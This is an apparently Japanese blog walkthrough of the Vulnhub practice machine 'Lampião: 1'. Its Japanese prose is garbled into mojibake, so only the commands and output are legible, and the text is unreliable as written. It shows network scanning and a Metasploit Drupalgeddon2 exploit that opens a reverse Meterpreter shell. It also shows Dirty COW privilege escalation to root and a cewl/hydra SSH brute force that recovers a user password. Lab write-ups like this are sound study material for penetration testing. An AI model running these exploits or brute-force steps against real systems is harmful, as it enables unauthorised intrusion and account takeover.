ã¨ãã親ç¶ã®ä¾µå ¥å®é¨ãVulnhub Walkthrough - Lampião: 1ã
æè¿ãVulnhubã¨ããVMã®ã¤ã¡ã¼ã¸ãå ¬éãã¦ãããµã¤ããæ´»ç¨ãã¦ãºããã¬ã¼ã·ã§ã³ãã¹ãã®ãåå¼·ã
ä»åã¯ãLampião: 1ãããã£ã¦ã¿ãã説æããã¯ãèå¼±æ§ã®ãããã·ã³ãä½ã£ãããrootãåã£ã¦ããã¨ããäºãªãã§rootåãã®ãç®æ¨ã«ããã°ããã¬ãã«ã¯ã¤ã¼ã¸ã¼ãããã
Would you like to keep hacking in your own lab?
Try this brand new vulnerable machine! "Lampião 1".
Get root!
Level: Easy
Â
ã¾ãã¯ã¤ã¡ã¼ã¸ãè½ã¨ãã¦ãã¦èµ·åã
å½ç¶ãããããã°ã¤ã³ãªãã¦ãã¾ããw
ãªã®ã§ãèªåã®Kaliã§å¯¾è±¡ã®ãµã¼ãã¼ã«ãã°ã¤ã³ã試ã¿ã¾ããã»ã»ã»ãã£ã¦ããã¤ã®IPã¢ãã¬ã¹ä½ï¼ï¼
ç¸æã®IPãããããªããã°ãèªåã«ã©ããªIPãæ¯ããã¦ããããããããªãã®ã§ãããã¸ããã確èªããã
root@kali:~# netdiscover -r 192.168.100.0/24
ãã®netdicoverã³ãã³ãã§ãæå®ããã»ã°ã¡ã³ãå ã®ãã¹ããæ¢ãã¦ãããããããã192.168.100.128ã¨ãããã¹ããè¦ã¤ãã£ãããããã¿ã¼ã²ããã
ã¿ã¼ã²ããã®IPããããã£ãã調æ»éå§ãã¾ãã¯ãã¼ãã¹ãã£ã³ãã
root@kali:~# nmap 192.168.100.128 -p- -A -n
å¤æãããã¨ã¯ã»ã»ã»
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?
1898/tcp open http Apache httpd 2.4.7 *1
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Lampião
ãããªæãã«ãã¼ãã解æ¾ããã¦ããã
sshã¯ãã¦ã¼ã¶åã¨ãã¹ã¯ã¼ããããããªãã¾ã¾ã§ã¯ä½¿ããªãã®ã§å¾ã«ããã
httpãã空ãã¦ãããããªã®ã§ã¢ã¯ã»ã¹ãã¦ã¿ãã
ããã¨ãã£ã¦åç©«ãªãã
次ã«ã1898çªã«ã¢ã¯ã»ã¹ãã¦ã¿ããå¤åãã£ã¡ãæ¬å½ãDrupalã¨ãApacheãåãã¦ããæ§åã
è²ã ã¨æ å ±ãæã£ã¦ããããªãµã¤ãã表示ããããå¤åããããåãå´©ãã¦ãããã ã¨æãã
Â
ä½è«ã ãããã®ãµã¤ãã«æ¸ããã¦ããã®ã¯ãã¿ã¤ãã«ã«ããªã£ã¦ãLampiãoï¼ã©ã³ããªã³ï¼ã«ã¤ãã¦ã®å 容ã ã£ãããã®ã©ã³ããªã³ã¨ã¯ãï¼ï¼ä¸ç´æ«ãããã©ã¸ã«åæ±é¨ã§æ´»èºãã義è³ãã«ã³ã¬ã»ã¤ããã§æ´»åãã¦ãã人ç©ã®ååã
Â
次ã«ãµã¤ãã®æ§ææ å ±ãåãã
root@kali:~# dirb http://192.168.100.128:1898/
robots.txtããã£ãã®ã§ã¢ã¯ã»ã¹ããã¨
CHANGELOG.txtãçºè¦ã
ä¸ã確èªãããDrupalã®ãã¼ã¸ã§ã³ãå¤æããã
Â
Drupal 7.54ã«èå¼±æ§ããªããã°ã°ã£ã¦ã¿ãã¨ã»ã»ã»ãã£ãï¼ï¼
metasploitã§ã使ããã®ãsearchsploitã§èª¿ã¹ã¦ã¿ãã
root@kali:~# searchsploit Drupalgeddon2
ããããw
Metasploitãèµ·åãã¦ãDrupalgeddon2ãæ¢ãã¦ã¿ãã
msf > search Drupalgeddon2
msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) >
ãªãã·ã§ã³ã確èªãã¦å¿ è¦äºé ãå ¥åãã¦exploitããã
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.100.128
RHOST => 192.168.100.128
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898
RPORT => 1898
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploit
[*] Started reverse TCP handler on 192.168.100.133:4444
[*] Drupal 7 targeted at http://192.168.100.128:1898/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 192.168.100.128
[*] Meterpreter session 1 opened (192.168.100.133:4444 -> 192.168.100.128:39994) at 2018-10-14 21:06:22 +0900
meterpreter >
ä¾µå ¥æå
metarpreterã®ã³ãã³ãã§èª¿æ»
meterpreter > sysinfo
Computer : lampiao
OS : Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686
Linuxã®ã«ã¼ãã«ãå¤æããã
ä»ã«åããããªæ å ±ããªããããªã®ã§shellã§ä¸ã«å ¥ã£ã¦ã¿ãã
meterpreter > shell
Process 7565 created.
Channel 0 created.
whoami
www-data
pwd
/var/www/html
ã¦ã¼ã¶ã¯ãwww-dataãã§/var/www/htmlã«ããã®ãããã£ãã
su
su: must be run from a terminal
suã³ãã³ãããã¦ã¿ããã¿ã¼ããã«ãããããªãã®ã§æãããã®ã§ãã¨ããããptyä½ã£ã¦å度ææ¦
python -c 'import pty;pty.spawn("/bin/sh");'
$ su
su
Password:
ãã¹ã¯ã¼ãæ±ãããããã«ãªã£ããã©ãç¥ããªãããç¡çw
ãªãã¨ããã¦æ¨©éææ ¼ãããããèå¼±æ§ããªããå é¨ã調æ»ããã
ã¾ãã¯ãã¼ã«ã®æºåã¨ãã¦ãã®äºã¤ãæºå
æºåã§ããããã¿ã¼ã²ããå´ãããã¦ã³ãã¼ãã§ããæ§ã«ãµã¼ãã¼ãç«ã¡ä¸ãã¦å¾ ã¡åãããªã©ãã¦ãããã¿ã¼ã²ããå´ã«èª¿æ»ç¨ã®ãã¼ã«ãéãè¾¼ãã ãããããå®è¡ããã
linux-exploit-suggesterã®çµæããdirtycowã使ããããªãã¨ãå¤æã
ã¾ãLinEnumã®çµæããg++ã使ããããªã®ã§ã³ã³ãã¤ã«ã«é¢ãã¦ãåé¡ã¯ãªãããã
ã¨ããããã¨ã§dirtycowã®ã³ã¼ããéãè¾¼ãã§ã³ã³ãã¤ã«ãã¦å®è¡
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
rootã®ãã¹ã¯ã¼ããæ¸ãæãã£ãã®ã§æ¨©éææ ¼å¯è½ã«ãªã£ãã
ä¸åº¦ã»ãã·ã§ã³ãåãã¦ã¿ã¼ããã«è½ã¡ãããå度éãã¦su -ã§rootã¸ã
rootã®ãã£ã¬ã¯ããªå ã確èªãããflag.txtçºè¦
flag.txt : 9740616875908d91ddcdaa8aea3af366
root権éãåãã¦ããã©ã°ãè¦ã¤ããã®ã§çµäº
ã¡ãªã¿ã«ãã®ãã©ã°ã®ããã·ã¥å¤ãæ°ã«ãªã£ã¦èª¿ã¹ã¦ã¿ãã¨/var/www/html/lampiao.jpgã®ããã·ã¥å¤ã ã£ãã
ãã®ç»åãéãã¦ã¿ãã¨ã»ã»ã»
ã©ã³ããªã³(Lampião)ãã¨ãã«ã°ãªã¼ãã»ãã§ã¬ã¤ã©ã»ãã»ã·ã«ããããã¡ãã«éãåãã¦ãç»åã§ããã
Â
Â
Â
ãã¦ãrootåã£ã¦ãã©ã°è¦ã¤ãããã©èªåã®ä¸ã§ã¯ããµã¼ãã¸ã®ä¾µå ¥æ¹æ³ããmetasploitã使ã£ããã¨ããã®ãå°ãç´å¾ããããªããããå°ã綺éºã«ä¾µå ¥ã§ããªãã®ã調ã¹ã¦ã¿ãã¨å¥ã«ã¼ãã§ã®ä¾µå ¥æ¹æ³ããã£ãã®ã§ãããã®é¨åã ãæãåºãã¦è§£èª¬ã
Â
Lampiãoã®ãµã¤ããããè¦ã¦ã¿ãã¨ãæ稿è ãäºäººãããã¨ã確èªã§ããã
Â
tiagoã¨ederã®äºäººããã®ãµã¤ãã«é¢ä¿ãã¦ããã¦ã¼ã¶ã®ããã ãããã§ããã®äºäººã®ååã®ã¦ã¼ã¶ãªã¹ããä½æããã
echo tiago > userlist
echo eder >> userlist
次ã«ãã¹ã¯ã¼ããªã¹ãããã®Lampiãoã®ãµã¤ãã§ä½¿ç¨ããã¦ããåèªããã¨ã«ãã¹ã¯ã¼ããªã¹ããä½æãï¼ã¡ãã£ã¨æé空ããããIPã¢ãã¬ã¹ãå¤ãã£ã¦ããã©ã¿ã¼ã²ããã«ã¯å¤ããã¯ç¡ãï¼
cewl -w wordlist http://192.168.136.212:1898/?q=node/1
ãã®userlistã¨wordlistã使ã£ã¦hydraã§ãã«ã¼ããã©ã¼ã¹ãã
hydra -L userlist -P wordlist ssh://192.168.136.212
tiagoã®ãã¹ã¯ã¼ããVirgulinoã¨å¤æããããã®æ å ±ããã¨ã«sshã§æ¥ç¶ããã
è¦äºã«ãã°ã¤ã³æåï¼metasploitã使ç¨ããäºãªãä¸ããããæ å ±ãæ´»ç¨ãã¦ä¾µå ¥ã§ããã
Â
ã¾ã¨ã
èå¼±æ§ãæ´»ç¨ã§ããã調ã¹ãããã«ããã¿ã¼ã²ããã®ãµã¼ãã¹ãOSã®ãã¼ã¸ã§ã³ãç¥ããã¨ãã¨ã¦ãéè¦ã管çè 権éãæã£ã¦ããªãã¦ãããªãã®æ å ±ãéãããã¨ã¯å¯è½ãããã«metasploitãèµ·åããã®ã§ã¯ãªãå ãã¯èª¿æ»ï¼èªåã¸ã®æãwï¼
Â